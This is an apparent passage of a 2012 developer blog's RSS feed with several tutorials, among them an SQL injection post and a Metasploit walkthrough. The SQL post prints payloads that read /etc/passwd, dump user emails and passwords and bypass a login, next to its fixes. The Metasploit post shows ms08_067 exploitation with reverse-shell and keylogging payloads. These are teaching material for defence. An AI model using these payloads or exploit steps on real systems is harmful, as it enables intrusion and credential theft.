<p>It&#8217;s that easy. I hope you now have an idea of how memcache works and how to use it. Google &#8220;memcache&#8221; if you want to learn more about it. Remember, Facebook uses Memcache aggressively.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ChatGirl&#8217;s Blackberry Source code</title>
		<link>http://www.stackarena.com/2012/06/chatgirls-blackberry-source-code/</link>
		<comments>http://www.stackarena.com/2012/06/chatgirls-blackberry-source-code/#disqus_thread</comments>
		<pubDate>Sat, 16 Jun 2012 12:56:20 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[Blackberry JDK]]></category>
		<category><![CDATA[Mobile Apps]]></category>
		<category><![CDATA[bb]]></category>
		<category><![CDATA[bb apps]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[chatgirl]]></category>
		<category><![CDATA[jdk]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=619</guid>
		<description><![CDATA[Hey guys, this was my first blackberry application and I learnt a lot while developing the app. The app connects to a PHP file located on a web server, receives response from the server in json format and displays the &#8230; <a href="http://www.stackarena.com/2012/06/chatgirls-blackberry-source-code/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hey guys, this was my first blackberry application and I learnt a lot while developing the app. The app connects to a PHP file located on a web server, receives response from the server in json format and displays the formatted response to the user.</p>
<p><img src="http://img.stackarena.com/2012/06/187582.jpg" alt="" title="chatgirl" width="298" height="595" class="aligncenter size-full wp-image-622" /></p>
<p>Anyway, the app makes use of a custom UI, webIcon and other stuffs like that. I hope you guys that build native blackberry apps may find the code useful and may want to develop something nice with it.</p>
<p>The app can be downloaded here <a href="http://download.9jawap.net" target="_blank">http://download.9jawap.net</a> and its also available at Blackberry Appworld.</p>
<p>Here are some of the things you may learn from the code.</p>
<p>- How to create custom screens, textboxes buttons<br />
- How to create blackberry menus, alert boxes<br />
- using json in blackberry jdk<br />
- retrieving device blackberry PIN<br />
- using net.rim.device.api.ui.container.HorizontalFieldManager<br />
- creating a webIcon<br />
- using blackberry tableLayout<br />
- using net.rim.device.api.system.Bitmap, paint,etc<br />
- using com.blackberry.toolkit.ui.container.NegativeMarginVerticalFieldManager<br />
- using UiApplication.getEventLock(), running multiple background processes<br />
- encoding URL strings<br />
- Threading<br />
- updating your application / searching for updates<br />
and more&#8230;</p>
<p>As I said before, its the first version of the app, the current version is 1.4, so a lot of changes has been made to the app. </p>
<p>Please comment below or ask a question if you have any issues with the code. Note: Blackberry JDK plugin for Eclipse was used to develop the app.</p>
<p>Hope you guys find it useful.</p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2012/06/1.0.zip" title="1.0" id="attachment-wrapper">1.0</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/chatgirls-blackberry-source-code/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Tip: SQL Injection and how to prevent it.</title>
		<link>http://www.stackarena.com/2012/06/tip-sql-injection-and-how-to-prevent-it/</link>
		<comments>http://www.stackarena.com/2012/06/tip-sql-injection-and-how-to-prevent-it/#disqus_thread</comments>
		<pubDate>Thu, 07 Jun 2012 12:26:07 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[Security and Hacking]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=615</guid>
		<description><![CDATA[Hi guys, I assume you are familiar with SQL and PHP. In this tutorial, I&#8217;d show a quick tip on how SQL Injection works and how to fix it. A SQL injection attack consists of insertion of a SQL query &#8230; <a href="http://www.stackarena.com/2012/06/tip-sql-injection-and-how-to-prevent-it/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hi guys, I assume you are familiar with SQL and PHP. In this tutorial, I&#8217;d show a quick tip on how SQL Injection works and how to fix it.</p>
<p>A SQL injection attack consists of insertion of a SQL query via the input data from the client to the web application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete/Drop), execute administration operations on the database and issue commands to the operating system. </p>
<p>SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.</p>
<p>Ok, lets look at a basic example from <code>user.php</code></p>
<p><pre class="prettyprint"><code>&lt;?php
  $id = $_GET[&#039;id&#039;];
  $result = mysql_query( &quot;SELECT name FROM members WHERE id = &#039;$id&#039;&quot;);
?&gt;</code></pre></p>
<p>In the code snippet above, the &#8220;id&#8221; variable is not filtered, we can inject our SQL code in &#8220;id&#8221; variable. For example:</p>
<p><em>&#8220;http://localhost/user.php?id=1+union+all+select+1,null,load_file(&#8216;etc/passwd&#8217;),4&#8211;&#8221;</em></p>
<p>And we get the &#8220;etc/passwd&#8221; file if <code>magic_quotes = off</code>  and users have file privileges.</p>
<p>Lets look at another example from <code>house/listing_view.php</code></p>
<p><pre class="prettyprint"><code>$id = $_GET[&#039;itemnr&#039;];
require_once($home.&quot;mysqlinfo.php&quot;);
$query = &quot;SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id&quot;;
$result = mysql_query($query);
if(mysql_num_rows($result))
{
    $r = mysql_fetch_array($result);
}</code></pre></p>
<p>Here we see that &#8220;id&#8221; variable value is the value set for &#8220;itemnr&#8221; and is not filtered in any way, so we can inject our code. Lets make a request: </p>
<p><em>&#8220;http://localhost/house/listing_view.php?itemnr=null+union+all+select+1,2,3,<br />
concat(0x3a,email,password),5,6,7,8,9,10+from+users&#8211;&#8221;</em></p>
<p>And we get the email and the password from the users table.</p>
<h2>Login Bypass</h2>
<p>Lets look at another code snippet from <code>/admin/login.php</code></p>
<p><pre class="prettyprint"><code>$postuser = $_POST[&#039;username&#039;];
$postpass = md5($_POST[&#039;password&#039;]); 
$resultat = mysql_query(&quot;SELECT * FROM &quot; . $tablestart . &quot;login WHERE username = &#039;$postuser&#039; AND password = &#039;$postpass&#039;&quot;) 
or die(&quot;&lt;p&gt;&quot; . mysql_error() . &quot;&lt;/p&gt;\n&quot;);</code></pre></p>
<p>The variables here are not properly checked. We can bypass this login by injecting the following username and password:<br />
<pre class="prettyprint"><code>username : admin &#039; or &#039; 1=1--
password : anything</code></pre></p>
<p>When we pass in these values to the form, the code will eventually look like this when executing;</p>
<p><code>$resultat = mysql_query(&quot;SELECT * FROM &quot; . $tablestart . &quot;login WHERE username = &#039;admin&#039; &#039; or &#039; 1=1--  AND password = &#039;anything&#039;&quot;) </code></p>
<p>The &#8220;&#8211;&#8221; terminates the rest of the query, so we have something like <code>SELECT * FROM &quot; . $tablestart . &quot;login WHERE username = &#039;admin&#039; &#039; or &#039; 1=1</code></p>
<h2>Fixing your codes</h2>
<p><strong>The simple way:</strong> Don&#8217;t allow special chars in variables. For numeric variables, use (int), example <code>$id=(int)$_GET[&#039;id&#039;];</code> or <code>$id = intval($_GET[&#039;id&#039;]);</code></p>
<p><strong>Another way for non-numeric variables:</strong> Filter all special chars used in SQL: &#8211; , . ( ) &#8216; &#8221; _ + / * etc.</p>
<p>Also using <code>mysql_real_escape_string</code> will help:<br />
<pre class="prettyprint"><code>$name = mysql_real_escape_string( $_POST[‘name’] );
$pwd  = mysql_real_escape_string( $_POST[‘pwd’] );</code></pre></p>
<p>There are so many ways to prevent this attack, but if you are a little bit lazy and just want to get your website up and running without bothering yourself much about SQL injection attacks and some other security issues like Cross Site Scripting etc. Just use a framework to build your website.</p>
<p>Most of these PHP frameworks are properly built with MVC in mind and you can choose to filter your POST and GET request to prevent injection easily. <a href="http://www.yiiframework.com/">Yii</a>, <a href="http://www.zend.com/en/">Zend</a> and <a href="http://codeigniter.com/">Codeigniter</a> are some of the best frameworks around.</p>
<p>I hope by now, you have an idea of how SQL injection works and what to do with it. This is just a quick tip of what SQL injection is all about and how to prevent it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/tip-sql-injection-and-how-to-prevent-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Redirecting to www with .htaccess</title>
		<link>http://www.stackarena.com/2012/06/redirecting-to-www-with-htaccess/</link>
		<comments>http://www.stackarena.com/2012/06/redirecting-to-www-with-htaccess/#disqus_thread</comments>
		<pubDate>Thu, 07 Jun 2012 10:21:51 +0000</pubDate>
		<dc:creator>Adeniyi Adekoya</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[redirect]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=593</guid>
		<description><![CDATA[Redirecting to a specific domain is an important part of web development. Suppose you have a domain name: my-domain-name.com, users can either type this or www.my-domain-name.com to access your website. Although they see the same website either way but this &#8230; <a href="http://www.stackarena.com/2012/06/redirecting-to-www-with-htaccess/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Redirecting to a specific domain is an important part of web development. Suppose you have a domain name: <tt>my-domain-name.com</tt>, users can either type this or <tt>www.my-domain-name.com</tt> to access your website. Although they see the same website either way but this might have some terrible consequences.</p>
<h2>Three reasons why you should maintain a specific domain</h2>
<p>To avoid the possibility of split page rank and/or split link popularity (inbound links). Though the two names bring similar result, they are actually two different domains. Just has <tt>m.my-domain-name.com</tt> is different from <tt>www.my-domain-name.com</tt> so also is <tt>my-doman-name.com</tt> different from the rest.</p>
<p>To avoid duplicate content on search engines. Search engines might be able to tell the difference between these two domains and hence record duplicate content of your site.</p>
<p>Its nicer and consistent. If you create a session for user, you expect it to be consistent across the browser tabs. Not using a specific domain could cause such inconsistency. If you have a link on your <tt>my-domain-name.com</tt> site to the <tt>www.my-domain-name.com</tt> or the user decides to append the <tt></tt>, the user&#8217;s session will not be found on the <tt>www</tt> version.</p>
<h2>Redirecting non-www to www</h2>
<p>If you want to redirect all non-www requests to your site to the www version, add the following code to your .htaccess file:<br />
<pre class="prettyprint"><code>RewriteEngine On
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]</code></pre></p>
<p>Translates to:<br />
<code>RewriteEngine On</code> checks if the rewrite module is on else the other lines will not be processed.<br />
<tt>!</tt> = not<br />
<tt>^</tt> = start<br />
<tt>\.</tt> = . (the backslash is the escape character, because dots mean &#8220;any character&#8221; in regular expressions, and therefore must be escaped)</p>
<p><code>RewriteCond %{HTTP_HOST} !^www\.</code> if the host name doesn&#8217;t start with <tt>www.</tt><br />
<tt>*</tt> means zero or more character<br />
<tt>$</tt> means end<br />
<tt>(.*)</tt> means zero or more characters</p>
<p><code>RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]</code><br />
<tt>%{HTTP_HOST}</tt> will be replaced by the host name (i.e. my-domain-name.com).<br />
<tt>$1</tt> references whatever was matched in the regular expression between the brackets, which in this case is everything.<br />
The <tt>[R=301,L]</tt> means a permanent redirect (HTTP 301 code) which means the browser will automatically redirect the next time</p>
<h2>Redirecting www to non-www</h2>
<p>Like twitter, you might prefer the <tt>my-domain-name</tt> over <tt>www.my-domain-name.com</tt>.<br />
<pre class="prettyprint"><code>RewriteEngine On
RewriteCond %{HTTP_HOST} !^my-domain\.com$ [NC]
RewriteRule ^(.*)$ http://my-domain.com/$1 [R=301,L]</code></pre><br />
In this case, replace <tt>my-domain-name.com</tt> with your actual domain name. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/redirecting-to-www-with-htaccess/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hacking a Windows PC with Metasploit on Backtrack</title>
		<link>http://www.stackarena.com/2012/06/hacking-a-windows-pc-with-metasploit-on-backtrack/</link>
		<comments>http://www.stackarena.com/2012/06/hacking-a-windows-pc-with-metasploit-on-backtrack/#disqus_thread</comments>
		<pubDate>Wed, 06 Jun 2012 11:17:34 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Security and Hacking]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=580</guid>
		<description><![CDATA[Hello guys, in this article, I’ll show you how to hack vulnerable windows XP/Server 2003 PC with Metasploit on Backtrack. Here I assume you are already familiar with Backtrack or you already have one installed on your PC or virtual &#8230; <a href="http://www.stackarena.com/2012/06/hacking-a-windows-pc-with-metasploit-on-backtrack/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hello guys, in this article, I’ll show you how to hack vulnerable windows XP/Server 2003 PC with Metasploit on Backtrack.</p>
<p>Here I assume you are already familiar with Backtrack or you already have one installed on your PC or virtual machine. If you don’t have one yet, or are not familiar with Backtrack or Metasploit you can find out about it and download it here <a title="Backtrack" href="http://www.backtrack-linux.org/" target="_blank">http://www.backtrack-linux.org/</a>.</p>
<p>Anyway, Metasploit was originally written in Perl, but later it was re-written in ruby, it’s basically a large database of exploit code, scanners, encoders and payloads. To know more about Metasploit visit the official website here <a title="Metasploit" href="http://www.metasploit.com/" target="_blank">http://www.metasploit.com/</a> . There is also a version for those that love windows too, so you can use it on your windows PC. I hate windows!</p>
<p>Ok, here is my Metasploit terminal; I assume you know how to get there already because it’s not really a tutorial for beginners.</p>
<p><a href="http://www.stackarena.com/?attachment_id=561" rel="attachment wp-att-561"><img class="alignnone size-full wp-image-561" src="http://img.stackarena.com/2012/06/Untitled1.png" alt="" /></a></p>
<p>Anyway, if you don’t still know how to get there, here it is, remember I’m using Backtrack Linux, on windows is easier.</p>
<p><a href="http://www.stackarena.com/?attachment_id=563" rel="attachment wp-att-563"><img class="alignnone size-full wp-image-563" src="http://img.stackarena.com/2012/06/Untitled2.png" alt="" /></a></p>
<p>Here is the exploit we are going to use “ms08_067_netapi”. I recommend using Metasploit on Linux or at least a Linux virtual machine, the windows version isn’t that cool.</p>
<p>Once we have Metasploit fired up, we type this:<br />
<code>nmap -sS -Pn -A 192.168.0.103</code> or <code>nmap -sS -Pn -A 192.168.0.1/24</code> to scan more than one PC on the network.</p>
<p>The IP address above is the local address of the windows machine I’m scanning, this command is used for &#8220;port-scanning&#8221; your local area network to find live hosts , and report the number of open ports and the services (DAEMONS) running on them. Basically you should find SMB enabled on most of those PC’s.</p>
<p><a href="http://www.stackarena.com/?attachment_id=564" rel="attachment wp-att-564"><img class="alignnone size-full wp-image-564" src="http://img.stackarena.com/2012/06/Untitled4.png" alt="" /></a></p>
<p>After we find the machine, we run:<br />
<code>set RHOST 192.168.0.103</code> we set the IP address of the remote host (our windows PC)<br />
<code>set LHOST 192.168.0.107</code> we set the IP address of our current Linux PC<br />
<code>set THREADS 100</code> this is the thread value<br />
<code>use windows/smb/ms08_067_netapi</code> This is the exploit we are using. SMB is used for file sharing on Windows and it has a vulnerability that we want to exploit.</p>
<p>Here is how it looks:</p>
<p><a href="http://www.stackarena.com/?attachment_id=566" rel="attachment wp-att-566"><img class="alignnone size-full wp-image-566" src="http://img.stackarena.com/2012/06/Untitled3.png" alt="" /></a></p>
<p>At this point, we use the <code>show payloads</code> command to get a list of suitable payloads.</p>
<p><a href="http://www.stackarena.com/?attachment_id=568" rel="attachment wp-att-568"><img class="alignnone size-full wp-image-568" src="http://img.stackarena.com/2012/06/Untitled5.png" alt="" width="723" height="503" /></a></p>
<p><a href="http://www.stackarena.com/?attachment_id=569" rel="attachment wp-att-569"><img class="alignnone size-full wp-image-569" src="http://img.stackarena.com/2012/06/Untitled6.png" alt="" width="780" height="352" /></a></p>
<p>Here I’m going to use a Reflective VNC injection as my payload. Next type:<br />
<code>set PAYLOAD windows/vncinject/bind_tcp</code> and we are all set to attack!</p>
<p>Next type in <code>exploit</code> and let’s see what happens.</p>
<p><a href="http://www.stackarena.com/?attachment_id=571" rel="attachment wp-att-571"><img class="alignnone size-full wp-image-571" src="http://img.stackarena.com/2012/06/Untitled7.png" alt="" width="504" height="168" /></a></p>
<p><a href="http://www.stackarena.com/?attachment_id=574" rel="attachment wp-att-574"><img class="alignnone size-full wp-image-574" src="http://img.stackarena.com/2012/06/Untitled9.png" alt="" /></a></p>
<p>Remember, you can still use other payloads too e.g. I used <code> set PAYLOAD windows/meterpreter/reverse_tcp</code> to have access to the PC’s command shell. You can reboot the computer, shutdown, get the system info and do other stuffs like taking the screenshot and recording keystrokes too.</p>
<p><a href="http://www.stackarena.com/?attachment_id=575" rel="attachment wp-att-575"><img class="alignnone size-full wp-image-575" src="http://img.stackarena.com/2012/06/Untitled10.png" alt="" width="760" height="471" /></a></p>
<p><a href="http://www.stackarena.com/?attachment_id=577" rel="attachment wp-att-577"><img class="alignnone size-full wp-image-577" src="http://img.stackarena.com/2012/06/Untitled11.png" alt="" /></a></p>
<p>Hehehe… I luv this, just hacked my Windows XP on my virtual PC <img src='http://www.stackarena.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>If the exploit succeeds, you will get a VNC session, but if it doesn’t exist, it means the Windows PC has been patched, most likely windows XP SP1 or 2 should work, but I don’t think it will on SP3.</p>
<p>So get an old Windows XP PC and try the exploit on it as I did with my old windows XP SP1 on VMWare. With this tutorial, you should be able to exploit other vulnerabilities on windows 7, vista etc with Metasploit.</p>
<p>To find out the latest vulnerabilities on windows and how to exploit them, visit <a href="http://web.nvd.nist.gov/view/vuln/search" target="_blank">http://web.nvd.nist.gov/view/vuln/search</a> or <a href="http://www.exploit-db.com/" target="_blank">http://www.exploit-db.com/</a>.</p>
<p>Remember, this is just a tutorial, do not use it on someone’s PC and I’m not responsible for anything that happens if you try. Anyway, I’m not too sure you will find so many people still using Windows XP SP1 but if you find, good luck to you.</p>
<p>I’ll be posting more articles on hacking and security here as time goes on, remember to post your questions at the “Ask a question” section, I’ll be willing to help.</p>
<p>This bug has been fixed a long time ago by Microsoft <a href="http://technet.microsoft.com/en-us/security/bulletin/ms08-067" target="_blank">http://technet.microsoft.com/en-us/security/bulletin/ms08-067. </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/hacking-a-windows-pc-with-metasploit-on-backtrack/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Creating A Simple WordPress Plugin</title>
		<link>http://www.stackarena.com/2012/06/creating-a-simple-wordpress-plugin/</link>
		<comments>http://www.stackarena.com/2012/06/creating-a-simple-wordpress-plugin/#disqus_thread</comments>
		<pubDate>Wed, 06 Jun 2012 11:07:26 +0000</pubDate>
		<dc:creator>Adeniyi Adekoya</dc:creator>
				<category><![CDATA[CMS and Blogging]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[shortcode]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=553</guid>
		<description><![CDATA[Thinking of extending the functionality of your WordPress blog? Plugins allow you to do that. Most often than not you&#8217;d find a plugin that already does what you are looking for; provided you know how to search. Piece of cake &#8230; <a href="http://www.stackarena.com/2012/06/creating-a-simple-wordpress-plugin/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Thinking of extending the functionality of your WordPress blog? Plugins allow you to do that. Most often than not you&#8217;d find a plugin that already does what you are looking for; provided you know how to search. Piece of cake right? Well writing a plugin is not that hard as well.Some times you just want to do something really really basic or customized for your blog and you realize searching would be a lot more hectic than creating your own.</p>
<p>In this tutorial/tip I&#8217;m going to show you how to get started on creating your own WordPress plugin. I assume you are familiar with the WordPress framework and program well in PHP. Here is a basic definition for a WordPress Plugin:</p>
<p><strong>WordPress Plugin:</strong> A WordPress Plugin is a program, or a set of one or more functions, written in the PHP scripting language, that adds a specific set of features or services to the WordPress weblog, which can be seamlessly integrated with the weblog using access points and methods provided by the WordPress <a title="Plugin API" href="http://codex.wordpress.org/Plugin_API">Plugin Application Program Interface (API)</a>. (adapted from wordpress.org)</p>
<h2>Creating the plugin</h2>
<p>All wordpress plugins are located in <tt>wp-content/plugins/.</tt> Suppose we wanted to create a plugin to detect browsers and perform different tasks based on the browsers, we could call it &#8220;Browser Detector&#8221; and call our php file <tt>browserdetector.php</tt>.</p>
<p>So quickly here are the steps:</p>
<ol>
<li>Create a folder &#8220;Browser Detector&#8221; and place it in the plugin directory stated above</li>
<li>Create the php file <tt>browserdetector.php</tt> in the folder</li>
<li>Write your code in the php file.</li>
</ol>
<p>Step 3 requires a little more than just placing your code. It requires the standard plugin information header. Without this, your plugin cannot be activated and will never run. Here&#8217;s the format:<br />
<pre class="prettyprint"><code>&lt;?php
/*
Plugin Name: Name Of The Plugin
Plugin URI: http://URI_Of_Page_Describing_Plugin_and_Updates
Description: A brief description of the Plugin.
Version: The Plugin&#039;s Version Number, e.g.: 1.0
Author: Name Of The Plugin Author
Author URI: http://URI_Of_The_Plugin_Author
License: A &quot;Slug&quot; license name e.g. GPL2
*/
?&gt;</code></pre><br />
Also it is customary to follow the header with information about licensing for the Plugin if you intend to distribute your plugin.</p>
<p><pre class="prettyprint"><code>&lt;?php
/*  Copyright YEAR  PLUGIN_AUTHOR_NAME  (email : PLUGIN AUTHOR EMAIL)

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License, version 2, as 
    published by the Free Software Foundation.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
?&gt;</code></pre></p>
<p>Now you can place your code in the file. Our sample <tt>browserdetector.php</tt> code below is a plugin that provides a shortcode that can be placed in a post/page. See <a href="http://www.stackarena.com/2012/05/creating-a-wordpress-shortcode-using-a-custom-functions-plugin/" title="Creating A WordPress Shortcode Using A Custom Functions Plugin">Creating A WordPress Shortcode Using A Custom Functions Plugin</a> for more insight.</p>
<p><pre class="prettyprint"><code>require_once(&#039;Browser.php&#039;);

function brower_properties( $atts ){
 /*
 * Create instance of a browser
 */
$browser = new Browser();
 
$properties = &quot;Platform: {$browser-&gt;getPlatform()} &lt;br /&gt;&quot;;
$properties .= &quot;Browser Name: {$browser-&gt;getBrowser()} &lt;br /&gt;&quot;;
$properties .=  &quot;Browser Version: {$browser-&gt;getVersion()} &lt;br /&gt;&quot;;
 
 return $properties;
}
add_shortcode( &#039;browserdetector&#039;, &#039;brower_properties&#039; );</code></pre></p>
<p>There you have it! See resources below to download the Brower.php class. Leave a comment if you have any trouble.</p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2012/06/Browser.zip" title="Browser" id="attachment-wrapper">Browser</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/creating-a-simple-wordpress-plugin/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Quick Tip: Running a PHP script at intervals (Scheduled Task) using Cron Jobs on cPanel</title>
		<link>http://www.stackarena.com/2012/06/quick-tip-running-a-php-script-at-intervals-scheduled-task-using-cron-jobs-on-cpanel/</link>
		<comments>http://www.stackarena.com/2012/06/quick-tip-running-a-php-script-at-intervals-scheduled-task-using-cron-jobs-on-cpanel/#disqus_thread</comments>
		<pubDate>Fri, 01 Jun 2012 14:08:20 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[cron jobs]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[schedule]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=543</guid>
		<description><![CDATA[There are times you might want to perform a particular task several times on your website e.g, sending an email to your users on their birthday, deleting old records from your database every month etc. With Cron, you can get &#8230; <a href="http://www.stackarena.com/2012/06/quick-tip-running-a-php-script-at-intervals-scheduled-task-using-cron-jobs-on-cpanel/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>There are times you might want to perform a particular task several times on your website e.g, sending an email to your users on their birthday, deleting old records from your database every month etc. With Cron, you can get it done easily.</p>
<p>Here I will try to show you how quickly you can get that done on cPanel if you already have the PHP script you want to run at intervals.</p>
<p>Even if you do not know anything about cron jobs and have never run a cron job before, you can get started with the simple cron tool built into cPanel. To get to Cron Jobs on cPanel, enter the url below on your browser; remember to change &#8220;mysite.com&#8221; to your website url.</p>
<p><code>https://mysite.com:2083/frontend/x3/cron/index.html</code> </p>
<p>To run a job, you&#8217;ll need the path to the PHP script you want to execute. I always advise you put all Cron scripts in a folder and use <code>.htaccess</code> to protect the files there.</p>
<p>The command to run:<br />
<code>wget -O - -q -t 1 http://www.mysite.com/cron/scriptname.php</code> where &#8220;/con/scriptname.php&#8221; is the path to your PHP script or <code>/home/mysite/public_html/cron.php</code></p>
<p>Next you&#8217;ll want to select an option from all the select boxes. Remember to select an option in each box. If you want something to run every day at 4AM, select Minute: 0; Hour: 4; Day: Every; Month: Every; Weekday: Every;</p>
<p><img src="http://img.stackarena.com/2012/06/Untitled.png" alt="" title="Untitled" width="894" height="823" class="aligncenter size-full wp-image-545" /></p>
<p>Click save and that&#8217;s all. You&#8217;ll get an email every time the cron job runs, but if you don&#8217;t want to get an email, put a blank space into the output email field at the top.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/06/quick-tip-running-a-php-script-at-intervals-scheduled-task-using-cron-jobs-on-cpanel/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Integrating your website with Interswitch WebPay (Concluding Part) Part 2</title>
		<link>http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-webpay-concluding-part-part-2/</link>
		<comments>http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-webpay-concluding-part-part-2/#disqus_thread</comments>
		<pubDate>Mon, 21 May 2012 18:26:19 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[etransact]]></category>
		<category><![CDATA[Interswitch]]></category>
		<category><![CDATA[payment]]></category>
		<category><![CDATA[payment gateway]]></category>
		<category><![CDATA[payment integration]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=532</guid>
		<description><![CDATA[In the previous part of this article (Part 1) I discussed the basics of integrating Interswitch WebPay into your website. If you’ve not gone through the article or you are not sure if you got the whole idea previously, please &#8230; <a href="http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-webpay-concluding-part-part-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In the previous part of this article (<a title="Integrating your website with Interswitch (Crash course) Part 1" href="http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-crash-course-part-1/">Part 1</a>) I discussed the basics of integrating Interswitch WebPay into your website. If you’ve not gone through the article or you are not sure if you got the whole idea previously, please go through it again. <a title="Integrating your website with Interswitch (Crash course) Part 1" href="http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-crash-course-part-1/">Click here</a></p>
<p>Previously, I used the function <code>addTransaction()</code> to store the transaction details before we send the request to WebPay, we need to do this to help us monitor each transaction, also it allows us to update the payment status whenever a payment is made. Anyway, I think it’s the best approach.</p>
<p>Let’s look at it this way; You store the transaction details whenever someone makes an order, next you send the order details/transaction details to Interswitch then Interswitch sends you a reply when the payment is made (success, failure, pending,…). Next you store the response you get from Interswitch and update the payment status of the transaction then redirect the user to a page displaying the details and status of the transaction, more like displaying an invoice.</p>
<p>The diagram below may explain it better.</p>
<p><img class="aligncenter size-full wp-image-534" src="http://img.stackarena.com/2012/05/interswitch1.jpg" alt="" width="718" height="355" /></p>
<p>That’s about how it works, so let’s begin with how we write the code for this. To store our order, we receive the entire order (POST) request from the form or cart page etc.</p>
<h2>Making an Order</h2>
<p>Before we do that, we need to set some variables at the top of our page to help receive response from Interswitch and also store some values needed to identify our website to Interswitch.<br />
<pre class="prettyprint"><code>$id = $_SESSION[&#039;id&#039;]; // the userid of the person paying for a product
$success = $_GET[&quot;rspcode&quot;]; // the response code we get fromInterswich
$appamt = $_GET[&quot;appamt&quot;]; // the total amount of the order
$merchantID = &quot;Demo&quot;; // the merchant ID given to us buy interswitch
$cpID = &quot;CADP628051&quot;; // Also the CPID given to us by interswich</code></pre></p>
<p>Let’s begin with the POST request from our cart page here…</p>
<p><pre class="prettyprint"><code>if (isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_REQUEST[&#039;tid&#039;]) &amp;&amp; $_REQUEST[&#039;amount&#039;] != null)
{
    //we want to find out if a checkout button is clicked and we are also sending the
    //transactionID and amount together with the request.
    //get all information from the post request
    
    $transaction_id = mysql_real_escape_string($_POST[&#039;tid&#039;]);
